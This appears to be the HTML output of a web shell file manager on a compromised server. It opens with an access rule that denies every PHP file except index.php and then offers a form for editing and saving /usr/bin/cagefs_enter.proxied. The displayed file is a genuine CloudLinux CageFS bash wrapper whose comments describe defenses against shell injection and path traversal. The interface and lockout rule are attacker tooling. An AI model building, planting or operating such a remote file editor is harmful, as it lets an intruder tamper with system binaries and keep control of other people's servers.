<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Require all denied
</FilesMatch>
<FilesMatch '^(index.php)$'>
Require all granted
</FilesMatch><h2>✏️ Editing: cagefs_enter.proxied</h2><form method='post'>
        <textarea name='content' rows='22' cols='110'>#!/bin/bash
##CageFS proxyexec wrapper - ver 18

if [[ $EUID -eq 0 ]]; then
    echo &#039;Cannot be run as root&#039;
    exit 1
fi

# POSIX single-quote escaping for values embedded in the ssh remote
# command. Unlike `printf %q`, single-quoted output re-parses correctly
# under any POSIX shell (the origin login shell need not be bash) and is
# lossless for arbitrary bytes. Each embedded &#039; becomes the &#039;\&#039;&#039; sequence.
sq() {
    local s=${1//\&#039;/\&#039;\\\&#039;\&#039;}
    printf &quot;&#039;%s&#039;&quot; &quot;$s&quot;
}

USR=`/usr/bin/whoami`
USER_TOKEN_PATH=&quot;/var/.cagefs/.cagefs.token&quot;
WEBSITE_ISOLATION_FLAG=&quot;/opt/cloudlinux/flags/enabled-flags.d/website-isolation.flag&quot;
# Trust boundary for the website-isolation token path: it must point
# directly at the regular file that create_website_token_directory()
# creates inside its root-owned per-user storage area. That area is
# /var/cagefs/&lt;prefix&gt;/&lt;user&gt;/.cagefs/website/... on the host and is
# bind-mounted into the cage at /var/.cagefs/website/... — both views
# are accepted because libenter.enter_site() picks one or the other
# depending on whether it runs inside or outside the cage. The file
# itself is never a symlink, so we reject symlinks outright rather
# than canonicalizing with realpath. Without this gate the attacker
# controls both the env var WEBSITE_TOKEN_PATH and the file contents
# at that path; the file contents land in $TOKEN, which is embedded
# into the ssh remote command argv below and re-parsed by the remote
# shell — so shell metacharacters in the file would execute on the
# origin host. (Slite #7 / CLOS-4490)
if [[ -f &quot;$WEBSITE_ISOLATION_FLAG&quot; &amp;&amp; -n &quot;$WEBSITE_TOKEN_PATH&quot; ]]; then
    if [[ -L &quot;$WEBSITE_TOKEN_PATH&quot; ]]; then
        echo &quot;cagefs.proxy: WEBSITE_TOKEN_PATH &#039;$WEBSITE_TOKEN_PATH&#039; must not be a symlink&quot; &gt;&amp;2
        exit 1
    fi
    if [[ ! -f &quot;$WEBSITE_TOKEN_PATH&quot; ]]; then
        echo &quot;cagefs.proxy: WEBSITE_TOKEN_PATH &#039;$WEBSITE_TOKEN_PATH&#039; is not an existing regular file&quot; &gt;&amp;2
        exit 1
    fi
    # Reject `..` as a path component so the prefix check below cannot
    # be bypassed via traversal (e.g. /var/cagefs/../etc/passwd matches
    # the /var/cagefs/* glob but resolves outside the trusted area).
    case &quot;$WEBSITE_TOKEN_PATH&quot; in
        */../*|*/..)
            echo &quot;cagefs.proxy: WEBSITE_TOKEN_PATH &#039;$WEBSITE_TOKEN_PATH&#039; must not contain &#039;..&#039; path components&quot; &gt;&amp;2
            exit 1
            ;;
    esac
    case &quot;$WEBSITE_TOKEN_PATH&quot; in
        /var/cagefs/*|/var/.cagefs/*) ;;
        *)
            echo &quot;cagefs.proxy: WEBSITE_TOKEN_PATH must be under /var/cagefs/ or /var/.cagefs/ (got &#039;$WEBSITE_TOKEN_PATH&#039;)&quot; &gt;&amp;2
            exit 1
            ;;
    esac
    USER_TOKEN_PATH=&quot;$WEBSITE_TOKEN_PATH&quot;
fi
# The -L/-f/prefix gate above is defense-in-depth, TOCTOU is not exploitable because the
# forwarded $TOKEN must still equal the legit on-disk bytes that the
# origin&#039;s cagefs.server reads with open(..., O_NOFOLLOW) from a
# uid-derived path (see find_website_by_token() in
# proxyexec/cagefs.server.c) — a swapped symlink redirects what we
# cat, never what the server reads, so a TOCTOU substitution can only
# replace the forwarded bytes with something that fails the server&#039;s
# constant-time comparison.
TOKEN=`/bin/cat ${USER_TOKEN_PATH}`
# Tokens are generated as fixed-length alphanumerics by
# _generate_password() in py/clcagefslib/webisolation/jail_utils.py and
# by the corresponding C helper. Any non-alphanumeric byte means the
# token file was tampered with — refuse to forward it into the ssh
# remote command, where the remote shell would re-parse metacharacters.
# Use POSIX `case` rather than `[[ =~ ]]` because the wrapper is also
# invoked through `sh` (e.g. jenkins_tests/rpm_tests/p_cagefs/
# 939-environment_var-check.sh), and dash treats `[[` as a missing
# command — the regex form would falsely trip and exit the script.
case &quot;$TOKEN&quot; in
    &quot;&quot; | *[!A-Za-z0-9]*)
        echo &quot;cagefs.proxy: refusing to forward malformed token from $USER_TOKEN_PATH&quot; &gt;&amp;2
        exit 1
        ;;
esac
# It&#039;s user&#039;s tmp directory and write to it is secure procedure
# because this script is running only under usual user
PIDFILE=&quot;/tmp/.cagefs.proxy.$$&quot;
USER_INTERRUPT=13
CWD=`pwd`

ctrl_c_handler() {
    if [[ -f &quot;$PIDFILE&quot; ]]; then
        pid=`/bin/cat $PIDFILE`
        /bin/rm -f $PIDFILE &gt; /dev/null 2&gt;&amp;1
        /bin/kill -s SIGINT &quot;$pid&quot; &gt; /dev/null 2&gt;&amp;1
    fi
    exit $USER_INTERRUPT
}

if [[ -e /var/.cagefs/origin ]]; then
    ORIGIN=`/bin/cat /var/.cagefs/origin`
    # ssh(1) joins the remote-command argv with single spaces and ships
    # the result for the origin user&#039;s login shell to re-parse. The local
    # bash double-quotes around &quot;$CWD&quot; and &quot;$@&quot; only protect parsing on
    # THIS host — once ssh has taken the argv, the quoting is gone and
    # any shell metacharacter embedded in $CWD (`pwd`, attacker controls
    # via mkdir+cd inside the cage) or in any &quot;$@&quot; element (caller argv
    # for sendmail/crontab/etc.) is interpreted by the remote shell.
    # CLOS-4490 hardened $TOKEN by content validation; that approach
    # does not work for $CWD or $@ (legitimate paths/args may contain
    # spaces, parens, ampersands), so we single-quote each caller-
    # controlled element with sq() before composing the remote command.
    # ssh re-parses the command only once (the origin login shell), so a
    # single quoting pass per value is enough here. $USR is `whoami` so
    # it cannot contain metacharacters in any sane account database, but
    # we quote it too for defense in depth. (CLOS-4596)
    Q_ARGS=
    for _arg in &quot;$@&quot;; do
        Q_ARGS=&quot;$Q_ARGS $(sq &quot;$_arg&quot;)&quot;
    done
    /usr/bin/ssh -F /etc/ssh/cagefs-rexec_config &quot;$USR@$ORIGIN&quot; \
        &quot;CAGEFS_TOKEN=$TOKEN /usr/sbin/proxyexec -c cagefs.sock $(sq &quot;$USR&quot;) $(sq &quot;$CWD&quot;) CAGEFS_ENTER $$$Q_ARGS&quot;
    RETVAL=$?
else
    trap &#039;ctrl_c_handler&#039; 2
    CAGEFS_TOKEN=&quot;$TOKEN&quot; /usr/sbin/proxyexec -c cagefs.sock &quot;$USR&quot; &quot;$CWD&quot; CAGEFS_ENTER $$ &quot;$@&quot;
    RETVAL=$?
    /bin/rm -f $PIDFILE &gt; /dev/null 2&gt;&amp;1
fi

exit $RETVAL
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fusr%2Fbin'>🔙 Back</a></body></html>